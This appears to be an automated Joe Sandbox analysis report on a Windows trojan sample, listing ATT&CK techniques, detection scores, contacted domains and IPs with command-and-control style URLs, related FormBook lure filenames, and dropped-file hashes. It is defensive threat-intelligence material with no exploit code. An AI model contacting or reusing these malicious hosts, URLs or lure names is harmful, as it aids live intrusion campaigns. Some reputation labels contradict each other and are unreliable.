Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	114 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GJRX21GBj3.exe	68%	ReversingLabs	Win64.Trojan.LokiBot

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.valerieomage.com/c7rq/?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl+OFvVeu4EU857dyc7w4+qhgXRMO7PTzi/X2HMMMtdNC+wv2+smLAouLcyIEijMeq9ccv2ntai0EWGFrkjFC0U/c7k/DTDLA==&rz=LZsl-bkp-XfXeRLp	0%	Avira URL Cloud	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	0%	Avira URL Cloud	safe
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	0%	Avira URL Cloud	safe
http://www.mg55aa.xyz/7npk/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.siteblogoficialon.com/xti2/	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-c	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://valerieomage.com/c7rq?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl	0%	Avira URL Cloud	safe
http://www.lacemalt.top/tb8p/	0%	Avira URL Cloud	safe
http://www.mybodyradar.net/nml2/	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	0%	Avira URL Cloud	safe
http://www.lacemalt.top/tb8p/?k06T=qOKUC29yX8oZAlbJDfcpCLzpMPZC9WFwxrZXgt1GanD4ODtcEeVG6I3ogONv/wZG3CcBcKt2BHXhpUQRSUiI6LSlbUKGOe5tpqy+YL001eRQtx2Jgk6C84cNpUHQ9eTwUQ==&rz=LZsl-bkp-XfXeRLp	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibilityy	0%	Avira URL Cloud	safe
https://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkji	0%	Avira URL Cloud	safe
https://track.uc.cn/collect	0%	Avira URL Cloud	safe
http://www.kosherphonestore.com/ktbm/	0%	Avira URL Cloud	safe
http://www.cwgehkk.store/kwl6/	0%	Avira URL Cloud	safe
http://www.lavillitadepapa.com	0%	Avira URL Cloud	safe
https://hm.baidu.com/hm.js?	0%	Avira URL Cloud	safe
https://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8	0%	Avira URL Cloud	safe
https://aka.ms/nativeaot-compatibility	0%	Avira URL Cloud	safe
http://www.mg55aa.xyz/7npk/?rz=LZsl-bkp-XfXeRLp&k06T=3lhlChS8FYnXqyMl6DrMwk16pFUOD90SHj/DecBTIjGSaQxy34ZC87B+/wA+Ty9En/TQ2WIUU2NJwAlG0p0MOprHpEJhuLS8Xg3IfDdoqaVi1Ch1kdwH1TvR7mgJgyRVyQ==	0%	Avira URL Cloud	safe
https://aka.ms/GlobalizationInvariantMode	0%	Avira URL Cloud	safe
http://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8+h4eo3ZkplyB9kY6zupybd5FXB5boaSfX9kd7InJ4l2/UGXXDPdESA3G681NsEYfip50N0NMaShmTLM2x7hQcZfKg==&rz=LZsl-bkp-XfXeRLp	0%	Avira URL Cloud	safe
http://www.lavillitadepapa.com/i1fz/	0%	Avira URL Cloud	safe
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	0%	Avira URL Cloud	safe
http://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkjiz3Hv37r9oCCf0bTqtzy4xv37G1SgBfWJK+jN8eMH36uauFGPXBOtm3yBDVUMLLFQh/MQ7JKdaw==&rz=LZsl-bkp-XfXeRLp	0%	Avira URL Cloud	safe
http://www.cwgehkk.store/kwl6/?k06T=a60HvCvUhLiFhuUSc8WrKARCzXFsQAvffUZBz2uIU9nHYJX4NGLIPasF9EYqD4O1NmBy69LXG4mImYvzxGn1S/csb+glCs2OenUaXJQynPXKXRJsgC/umNodRP7idNP7JA==&rz=LZsl-bkp-XfXeRLp	0%	Avira URL Cloud	safe
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.lacemalt.top	203.161.55.102	true	false	unknown
www.kosherphonestore.com.cdn.hstgr.net	84.32.84.130	true	false	unknown
siteblogoficialon.com	108.179.193.98	true	false	unknown
www.mg55aa.xyz	35.241.34.216	true	false	unknown
www.cwgehkk.store	43.155.26.241	true	false	unknown
shops.myshopify.com	23.227.38.74	true	true	unknown
www.lavillitadepapa.com	74.208.46.171	true	false	unknown
mybodyradar.net	3.33.130.190	true	false	unknown
www.gospelstudygroup.org	unknown	unknown	true	unknown
www.amkmos.online	unknown	unknown	true	unknown
www.mybodyradar.net	unknown	unknown	true	unknown
www.valerieomage.com	unknown	unknown	true	unknown
www.instantmailer.cloud	unknown	unknown	true	unknown
www.kosherphonestore.com	unknown	unknown	true	unknown
www.mcxright.com	unknown	unknown	true	unknown
www.siteblogoficialon.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.valerieomage.com/c7rq/?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl+OFvVeu4EU857dyc7w4+qhgXRMO7PTzi/X2HMMMtdNC+wv2+smLAouLcyIEijMeq9ccv2ntai0EWGFrkjFC0U/c7k/DTDLA==&rz=LZsl-bkp-XfXeRLp	true	Avira URL Cloud: safe	unknown
http://www.mg55aa.xyz/7npk/	false	Avira URL Cloud: safe	unknown
http://www.siteblogoficialon.com/xti2/	false	Avira URL Cloud: safe	unknown
http://www.lacemalt.top/tb8p/	false	Avira URL Cloud: safe	unknown
http://www.kosherphonestore.com/ktbm/	false	Avira URL Cloud: safe	unknown
http://www.lacemalt.top/tb8p/?k06T=qOKUC29yX8oZAlbJDfcpCLzpMPZC9WFwxrZXgt1GanD4ODtcEeVG6I3ogONv/wZG3CcBcKt2BHXhpUQRSUiI6LSlbUKGOe5tpqy+YL001eRQtx2Jgk6C84cNpUHQ9eTwUQ==&rz=LZsl-bkp-XfXeRLp	false	Avira URL Cloud: safe	unknown
http://www.mybodyradar.net/nml2/	false	Avira URL Cloud: malware	unknown
http://www.cwgehkk.store/kwl6/	false	Avira URL Cloud: safe	unknown
http://www.mg55aa.xyz/7npk/?rz=LZsl-bkp-XfXeRLp&k06T=3lhlChS8FYnXqyMl6DrMwk16pFUOD90SHj/DecBTIjGSaQxy34ZC87B+/wA+Ty9En/TQ2WIUU2NJwAlG0p0MOprHpEJhuLS8Xg3IfDdoqaVi1Ch1kdwH1TvR7mgJgyRVyQ==	false	Avira URL Cloud: safe	unknown
http://www.lavillitadepapa.com/i1fz/	false	Avira URL Cloud: safe	unknown
http://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8+h4eo3ZkplyB9kY6zupybd5FXB5boaSfX9kd7InJ4l2/UGXXDPdESA3G681NsEYfip50N0NMaShmTLM2x7hQcZfKg==&rz=LZsl-bkp-XfXeRLp	false	Avira URL Cloud: safe	unknown
http://www.cwgehkk.store/kwl6/?k06T=a60HvCvUhLiFhuUSc8WrKARCzXFsQAvffUZBz2uIU9nHYJX4NGLIPasF9EYqD4O1NmBy69LXG4mImYvzxGn1S/csb+glCs2OenUaXJQynPXKXRJsgC/umNodRP7idNP7JA==&rz=LZsl-bkp-XfXeRLp	false	Avira URL Cloud: safe	unknown
http://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkjiz3Hv37r9oCCf0bTqtzy4xv37G1SgBfWJK+jN8eMH36uauFGPXBOtm3yBDVUMLLFQh/MQ7JKdaw==&rz=LZsl-bkp-XfXeRLp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-c	GJRX21GBj3.exe	false	Avira URL Cloud: safe	unknown
https://valerieomage.com/c7rq?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl	findstr.exe, 00000007.00000002.3926054651.00000000041F6000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000003876000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2627811818.0000000028C66000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityy	GJRX21GBj3.exe	false	Avira URL Cloud: safe	unknown
https://track.uc.cn/collect	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.kosherphonestore.com/ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkji	findstr.exe, 00000007.00000002.3926054651.000000000451A000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000003B9A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lavillitadepapa.com	pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925169217.0000000002CE1000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.siteblogoficialon.com/xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8	findstr.exe, 00000007.00000002.3926054651.0000000004B62000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.00000000041E2000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibility	GJRX21GBj3.exe, 00000000.00000002.2087349436.00007FF658669000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/nativeaot-compatibilityY	GJRX21GBj3.exe	false		unknown
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/GlobalizationInvariantMode	GJRX21GBj3.exe	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
43.155.26.241	www.cwgehkk.store	Japan	4249	LILLY-ASUS	false
203.161.55.102	www.lacemalt.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	false
108.179.193.98	siteblogoficialon.com	United States	46606	UNIFIEDLAYER-AS-1US	false
74.208.46.171	www.lavillitadepapa.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
84.32.84.130	www.kosherphonestore.com.cdn.hstgr.net	Lithuania	33922	NTT-LT-ASLT	false
3.33.130.190	mybodyradar.net	United States	8987	AMAZONEXPANSIONGB	false
35.241.34.216	www.mg55aa.xyz	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467022
Start date and time:	2024-07-03 16:37:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GJRX21GBj3.exe renamed because original name is a hash value
Original Sample Name:	04ca4f891cf5c2c412c58340ec0de521f940f4b36c1b0b7f1aa1fdae080922aa.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/1@12/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 68% Number of executed functions: 75 Number of non-executed functions: 299
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
VT rate limit hit for: GJRX21GBj3.exe

Simulations

Behavior and APIs

Time	Type	Description
10:39:49	API Interceptor	6948719x Sleep call for process: findstr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
43.155.26.241	Shipping documents.bat.exe	Get hash	malicious	FormBook	Browse	www.cwgehkk.store/9fu0/
	shipping_doc.bat.exe	Get hash	malicious	FormBook	Browse	www.cwgehkk.store/9fu0/
	SHIPPING_DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	www.cwgehkk.store/9fu0/
	SHIPPING_DOCS.bat.exe	Get hash	malicious	FormBook	Browse	www.cwgehkk.store/9fu0/
	Maersk_Quotation034865374.exe	Get hash	malicious	FormBook	Browse	www.cwgehkk.store/9fu0/
203.161.55.102	Request for Quotation for PTTEP - EPCC for SISGES Development Project 2.exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	Materials specification with quantities.exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	Request for Quotation - (SM Store San Mateo).exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	PTT request form.exe	Get hash	malicious	FormBook	Browse	www.bodfun.online/wbp0/
	Request for Quotation - e092876.exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	PTT requested quotation.exe	Get hash	malicious	FormBook	Browse	www.bodfun.online/wbp0/
	RFQ - 5002172340000.exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	PO Number 00127011.exe	Get hash	malicious	FormBook	Browse	www.timelesszone.xyz/bf2r/
	Quotation - TB046J12LCO2 Project Mechanical.exe	Get hash	malicious	FormBook	Browse	www.lexiecos.top/ff8d/
	Shipping documents.bat.exe	Get hash	malicious	FormBook	Browse	www.tenblog.life/0n9h/
108.179.193.98	Shipping documents.bat.exe	Get hash	malicious	FormBook	Browse	www.siteblogoficialon.com/s9ii/
	shipping_doc.bat.exe	Get hash	malicious	FormBook	Browse	www.siteblogoficialon.com/s9ii/
	SHIPPING_DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	www.siteblogoficialon.com/s9ii/
	SHIPPING_DOCS.bat.exe	Get hash	malicious	FormBook	Browse	www.siteblogoficialon.com/s9ii/
	Maersk_Quotation034865374.exe	Get hash	malicious	FormBook	Browse	www.siteblogoficialon.com/s9ii/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.cwgehkk.store	Shipping documents.bat.exe	Get hash	malicious	FormBook	Browse	43.155.26.241
	shipping_doc.bat.exe	Get hash	malicious	FormBook	Browse	43.155.26.241
	SHIPPING_DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	43.155.26.241
	SHIPPING_DOCS.bat.exe	Get hash	malicious	FormBook	Browse	43.155.26.241
	Maersk_Quotation034865374.exe	Get hash	malicious	FormBook	Browse	43.155.26.241
www.lavillitadepapa.com	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	74.208.46.171
www.kosherphonestore.com.cdn.hstgr.net	nJ8mJTmMf0.exe	Get hash	malicious	FormBook	Browse	84.32.84.112
	DHL Arrival Notice.exe	Get hash	malicious	FormBook	Browse	154.62.106.34
	Shipping Documents.pdf.exe	Get hash	malicious	FormBook	Browse	77.37.53.194
	Salary Raise.exe	Get hash	malicious	FormBook	Browse	84.32.84.40
	Salary List.exe	Get hash	malicious	FormBook	Browse	154.41.249.175
shops.myshopify.com	8bwKawHg0Z.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	aAEsSBx24sxHhRz.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	2024 Lusail Fence-WITH STICKER-2-003.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	Document TOP19928.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	23.227.38.74
	Order-1351125X.docx.doc	Get hash	malicious	FormBook	Browse	23.227.38.74
	http://outselluar.live	Get hash	malicious	Unknown	Browse	23.227.38.74
	DHL ARRIVAL DOCUMENTS.pdf.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	98790ytt.exe	Get hash	malicious	FormBook	Browse	23.227.38.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LILLY-ASUS	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	43.153.49.49
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	43.132.189.227
	watchdog.elf	Get hash	malicious	Mirai	Browse	40.4.14.73
	pKqvOdh3Sv.elf	Get hash	malicious	Mirai, Moobot	Browse	43.220.27.106
	94.156.79.133-mips-2024-07-01T19_26_38.elf	Get hash	malicious	Mirai, Gafgyt	Browse	40.41.25.80
	mirai.mips.elf	Get hash	malicious	Mirai	Browse	43.111.122.206
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	43.153.49.49
	https://www.exactcollisionllc.com/	Get hash	malicious	Unknown	Browse	43.175.135.229
	16bfcGvz5N.elf	Get hash	malicious	Unknown	Browse	40.165.120.84
	o85sjrF5oi.elf	Get hash	malicious	Unknown	Browse	42.173.108.47
VNPT-AS-VNVNPTCorpVN	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	203.161.41.205
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	RW-TS-Payment204_A3084_04893_D4084_Y5902_CE3018_S4081_W30981.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	203.161.46.44
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	file.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	Inquiry No PJO-4010574.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	je7RnKrgQO.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	203.161.46.44
UNIFIEDLAYER-AS-1US	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	162.240.81.18
	kZa81nzREg.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
	https://link.mail.beehiiv.com/ls/click?upn=u001.I67xw9O-2FCIng4d3bGWl4wF1gb7u7ov5hHZyE-2Bbx9UTzw17nXfIKdJcwxuwzDNoy2zqPLSJo-2BNEQCUif7aqDwom-2FNyeTx4oiB0wLXwXnzsK4D0yrlxIKEkPM7Cj-2FHMmK1N5sLNWwmlbyGbHeuv6ehAEECnEs6fFQOqqwD-2FKToPwl8ZCnBHVdQ3QU8RWhloPcfXcxa_hzdxOAnI3B-2BYhj5tgQXSRCdoGEcuM88dXETG-2BahO6Uvd8cr2jZPTzAVk72oAubAHPgVJjhCdU6bjbXnflniNIkDzPhLxyvQL1dSWfR-2BUbH1DS3LUwJipSkZoP8d1ryYR0TIdt5CyNutkaFy6gLHYcR4kl-2Fz1ezOldYW2WX0ghZl4CCdgYPK2Cj3fM7MmBqLOIY-2B5u5WgDkBzfdFRbwHzvpAejc0JJJ7tYmz-2BUzjH-2BoYmk-2F0HGjFVUaYNWyGnhGX4EhZzw6qOcJEaxZhVjnDpWPL3U5gs5ZetaaeYkMX5whQyh7U-2B0b4Qj0LqFla1tJlWVR4EZMTu40FIJ9BSbWnjEcc9JxuCrqAu48-2BpVmjPzA43qg6bd2x0AWoed1RbQeWVzBT648qZJ7L-2FqgKPY6ysg2U7IBuGeVI7oxhhKCbXSZln5jVQGdCxXpADLZSMla5T1Id6eeDoJeYo7zr6VqE6vw-3D-3D#aGFydG11dC5zY2htaWR0QGtwcy1jb25zdWx0aW5nLmNvbQ==	Get hash	malicious	Unknown	Browse	69.49.230.170
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	162.240.81.18
	TRANEXAMIC ACID & CAMPHANEDIOL SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	192.254.225.136
	awb_shipping_post_02072024224782020031808174CN18020724000000224(991KB).vbs	Get hash	malicious	GuLoader	Browse	192.185.217.247
	_Account Receipt.PDF.exe	Get hash	malicious	AgentTesla	Browse	192.185.143.105
	PO-2024)bekotas.pdf.exe	Get hash	malicious	AgentTesla	Browse	108.167.140.123
	https://www.itanhangasaude.com.br/www/1475312998d8aKqdmPdPNJZi4JNq7WIowwvYGOvuIT___714820ufgtMx5cBwKyVuzlJn3VAYy1QdJUF0IuhCb1EFSueBwxxR9n7T4VNMSyrZd9kcF9rD67v2lJn3VufgtMP8xfiVl9n3IuhCbR9n7Tx5cBw4VNMSx5cBwi3vtsVl9n3MryfS1EFSuufgtMi3vts7O1AR408519___47741237d8aKqdmPdPNJZi4JNq7WIowwvYGOvuIT	Get hash	malicious	HTMLPhisher	Browse	162.241.62.33
	DHL_AWB 98776013276.xls	Get hash	malicious	FormBook	Browse	192.185.89.92

Process:	C:\Windows\SysWOW64\findstr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
